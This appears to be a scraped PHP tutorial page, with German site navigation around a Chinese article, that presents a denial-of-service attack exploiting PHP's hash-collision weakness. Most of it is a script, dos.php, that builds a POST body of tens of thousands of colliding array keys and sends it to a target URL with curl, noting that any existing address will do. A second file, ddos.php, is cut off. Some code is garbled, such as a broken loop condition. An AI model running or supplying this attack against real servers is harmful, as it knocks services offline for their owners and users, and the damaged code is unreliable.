Heim  >  Artikel  >  Backend-Entwicklung  >  通过PHP的hash冲突漏洞进行DDoS攻击_PHP教程

通过PHP的hash冲突漏洞进行DDoS攻击_PHP教程

WBOY
WBOYOriginal
2016-07-13 17:49:06810Durchsuche

文件dos.php
 // 目标地址
 // 只要目标地址存在,不用管它是干嘛的
 $host = 'http://127.0.0.1/test.php'; 
 
 $data = '';
 $size = pow(2, 15);
 for ($key=0, $max=($size-1)*$size; $key  {
     $data .= '&array[' . $key . ']=0';
 }
 
 $ret = curl($host, ltrim($data,'&'));
 var_dump($ret);
 
 
 function curl($url, $post, $timeout = 30){
     $ch = curl_init();
     curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
     curl_setopt($ch, CURLOPT_TIMEOUT, $timeout);
     curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, $timeout - 5);
     curl_setopt($ch, CURLOPT_HTTPHEADER, array('Expect:'));  
     curl_setopt($ch, CURLOPT_URL, $url);
     curl_setopt($ch, CURLOPT_POST, true);
     curl_setopt($ch, CURLOPT_POSTFIELDS, $post);
     $output = curl_exec($ch);
     if ($output === false) return false;
     $info = curl_getinfo($ch);
     $http_code = $info['http_code'];
     if ($http_code == 404) return false;
     curl_close($ch);
     return $output;
 }
 文件ddos.php
 
[php]
 
 
 


 
 DDOS
 
 
 
   for($i=0; $i
Stellungnahme:
Der Inhalt dieses Artikels wird freiwillig von Internetnutzern beigesteuert und das Urheberrecht liegt beim ursprünglichen Autor. Diese Website übernimmt keine entsprechende rechtliche Verantwortung. Wenn Sie Inhalte finden, bei denen der Verdacht eines Plagiats oder einer Rechtsverletzung besteht, wenden Sie sich bitte an admin@php.cn